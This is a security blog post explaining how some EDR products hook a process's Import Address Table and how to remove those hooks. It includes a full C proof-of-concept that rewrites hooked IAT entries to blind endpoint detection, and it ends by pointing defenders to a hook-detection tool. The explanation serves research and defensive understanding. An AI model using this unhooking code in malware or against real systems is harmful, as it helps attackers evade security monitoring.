EDR Bypass : How and Why to Unhook the Import Address Table
One day, I was trying to bypass an EDR and I noticed something interesting.
The EDR I was trying to bypass wasn’t hooking the DLL in their code with jmp
instruction like other EDRs in user-land.
In this case, it was hooking directly the Import Address Table
. This technique makes the usual move like live-patching, or erasing the loaded DLL with one freshly loaded from disk useless.
I had to unhook the Import Address Table
of my process.
In this post, I will explain what is an Import Address Table and how to unhook it.
However, some concepts such as Binding
and Forwarder
will not be covered. If you want to learn more about those, I highly recommand this article.
One Import Directory Table to rule them all
The Import Directory Table
is an array of IMAGE_IMPORT_DESCRIPTOR
.
Each IMAGE_IMPORT_DESCRIPTOR
structure are related to a DLL where functions were imported by the binary.
Functions of DLL linked dynamically at run time will not be in the Import Directory Table
.
Run-time dynamic linking : Usually, when the application calls the
LoadLibrary
orLoadLibraryEx
to load a DLL and usesGetProcAddress
to retrieve the functions. You can find more about Run-time dynamic linking in the Microsoft documentation.Load-time dynamic linking can also be made using the
Process Environment Block (PEB)
and theExport Address Table (EAT)
. You can find more about this technique here
In the case of unhooking, 3 fields is important to us in the IMAGE_IMPORT_DESCRIPTOR
structures:
- Name : This field contains the DLL name;
- OriginalFirstThunk : Points to the
Import Lookup Table
(also called Import Name Table) - FirstThunk : Points to
Import Address Table
orIAT
Earlier, I said that the Import Directory Table
is an array of IMAGE_IMPORT_DESCRIPTOR
and we just saw that each IMAGE_IMPORT_DESCRIPTOR
have an Import Address Table
and an Import Lookup Table
.
This means that there is as many Import Address Table
that there is IMAGE_IMPORT_DESCRIPTOR
.
So THE Import Address Table
usually means ALL the Import Address Tables
of a binary !
The Import Address Table and the Import Lookup Table
The Import Address Table
and the Import Lookup Table
are 2 arrays of _IMAGE_THUNK_DATA_
structures. Each _IMAGE_THUNK_DATA_
is related to an imported function.
We can see that in this structure there is a “UNION”. This means that we can only have one of the 4 elements being set at the same time.
In our case and in this article only Function
and AddressOfData
will be used. In this exercise all the functions of the binary are imported by name.
When the binary is on the disk, the _IMAGE_THUNK_DATA_
structures are set with the AddressOfData
field pointing to _IMAGE_IMPORT_BY_NAME
structures.
In this structure :
- Hint : It’s the ordinal of the function without the base. The base can be found on the
Export Directory
of the related DLL but it’s not useful for us here. - Name : The name of the imported function.
If we make an illustration of the relationships between structures it looks like this.
However, on the disk the content of the Import Address Table
and the Import Lookup Table
are exactly the same. Both contains an array of _IMAGE_THUNK_DATA_
pointing to the same _IMAGE_IMPORT_BY_NAME
structures.
When the binary is executed and loaded in memory, the loader parses all the functions names in each Import Lookup Table
, find the corresponding address in the target DLL and write the address in the right field of the Import Address Table
.
At this point the AddressOfData
field of _IMAGE_THUNK_DATA_
structures in the Import Address Table
are replaced by the Function
field.
Once the Import Address Table
are filled with the proper data, if we parse the Import Address Table
and the Import Lookup Table
of an IMAGE_IMPORT_DESCRIPTOR
, we can see that the first element of the Import Address Table
is the address of the function pointed by the first _IMAGE_THUNK_DATA_
element of the Import Lookup Table
.
If we take the second element of the Import Address Table
it’s the address of the function pointed by the second _IMAGE_THUNK_DATA_
element of the Import Lookup Table
same goes for the third, fourth etc.
The hook and the unhooking
From here it’s pretty straightforward. The EDR/AV or malware will replace addresses in the Import Address Table
to point to its own code. This is the hook.
If you want to know more about
hooks
, you can find more information here
Lucky for us, detecting this kind of hook is pretty simple. We need to parse the Export Address Table
of the DLLs used by our binary to retrieve the Relative Virtual Address
of our imported functions.
Then, we just have to compute the real addresses using the base address of the target DLLs and the Relative Virtual Address
of the functions.
If you want to know more on how to parse the
Export Address Table
and retrieves functions addresses, you can find more information here
Finally, we compare the addresses in the Import Address Table
and the “real” addresses freshly computed.
If some addresses in the Import Address Table
don’t match our computed addresses this means that those addresses are hooks !
If that’s the case, you just have to replace the hook by the real address of the function and voilĂ !
Here a little proof-of-concept allowing to unhook the Import Address table
of a running process:
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdbool.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
void UnhookIAT() {
ULONG size;
DWORD i, j, x;
DWORD oldProtect = 0;
BOOL found = false;
int sizetab;
LPVOID TrueRVA;
unsigned char xKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
unsigned char xVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) xKernel32), (LPCSTR) xVirtualProtect);
// get Base address of the PE
HANDLE baseAddress = GetModuleHandle(NULL);
// get Import Table of PE
PIMAGE_IMPORT_DESCRIPTOR importTbl = (PIMAGE_IMPORT_DESCRIPTOR) ImageDirectoryEntryToDataEx(
baseAddress,
TRUE,
IMAGE_DIRECTORY_ENTRY_IMPORT,
&size,
NULL);
int nbelement = (size/20)-1;
for (i = 0; i < nbelement ; i++){
//Get name of the DLL in the Import Table
char * importName = (char *)((PBYTE) baseAddress + importTbl[i].Name);
printf("DLL name in IAT : %s\n",importName);
//Get Import Lookup Table (OriginalFirstThunk) and Import Address Table (FirstThunk)
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA) ((PBYTE) baseAddress + importTbl[i].FirstThunk);
PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA) ((PBYTE) baseAddress + importTbl[i].OriginalFirstThunk);
PIMAGE_IMPORT_BY_NAME function = NULL;
char* functionName;
//Parse DLL loaded in memory to retrieve various info
const LPVOID BaseDLLAddr = (LPVOID)GetModuleHandle((LPCSTR)importName);
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) BaseDLLAddr;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) BaseDLLAddr + pImgDOSHead->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pImgExpDir =(PIMAGE_EXPORT_DIRECTORY)((LPBYTE)BaseDLLAddr+pImgNTHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD Address=(PDWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfFunctions);
PDWORD Name=(PDWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfNames);
PWORD Ordinal=(PWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfNameOrdinals);
//loop through all function in the lookup table for the current dll
while (originalFirstThunk->u1.AddressOfData != NULL){
function = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)baseAddress + originalFirstThunk->u1.AddressOfData);
functionName = function->Name;
sizetab = 7;
//Avoid those function or I'll crash
char* exclude[]= {"EnterCriticalSection","LeaveCriticalSection","DeleteCriticalSection","InitializeSListHead","HeapAlloc","HeapReAlloc","HeapSize"};
for (x = 0; x < sizetab ; x++){
if(_stricmp(functionName, exclude[x]) == 0){
found = true;
}
}
if(!found)
{
//Get RVA from DLL loaded in memory
for(j=0;j<pImgExpDir->NumberOfFunctions;j++){
if(!strcmp(functionName,(char*)BaseDLLAddr+Name[j])){
TrueRVA = (PVOID)((LPBYTE)Address[Ordinal[j]]);
break;
}
}
//Compute real address
uintptr_t moduleBase = (uintptr_t)BaseDLLAddr;
uintptr_t RVA = (uintptr_t)TrueRVA;
uintptr_t* TrueAddress = (uintptr_t*)(moduleBase + RVA);
PROC * currentFuncAddr = (PROC *) &thunk->u1.Function;
if(*currentFuncAddr != (PROC)(TrueAddress)) {
oldProtect = 0;
VirtualProtect_p((LPVOID) currentFuncAddr, 8, PAGE_READWRITE, &oldProtect);
printf("Bad News ! Function %s is hooked ! Address is %x and it's suppose to be %x \nUnhook like the captain !\n",functionName, *currentFuncAddr, TrueAddress);
*currentFuncAddr = (PROC)(TrueAddress);
VirtualProtect_p((LPVOID) currentFuncAddr, 8, oldProtect, &oldProtect);
}else{
printf("Good news ! Function %s is not hooked :D\n",functionName);
}
}
++originalFirstThunk;
++thunk;
found = false;
}
}
}
int main(void) {
UnhookIAT();
return 0;
}
You can also find this code on my GitHub.
How to just detect hooks with a REAL tool
In an attacker point of view you want to remove hooks because you need to get rid of EDR and AV detection.
However in a defensive point of view, you want to detect hooks placed by malware !
If you want to detect if running processes on your system have hooks in their Import Address Table
, I highly recommand you to use the excellent tool of @hasherezade PE-Sieve.
You can even find a documentation page just on the IAT hook detection.
Obviously this tool does much more than just detecting hooks in the IAT. If you are interested in detecting malware in memory, inline hooks, Process Hollowing, Process Doppelgänging, Reflective DLL Injection, etc. You should definitely take a look at it !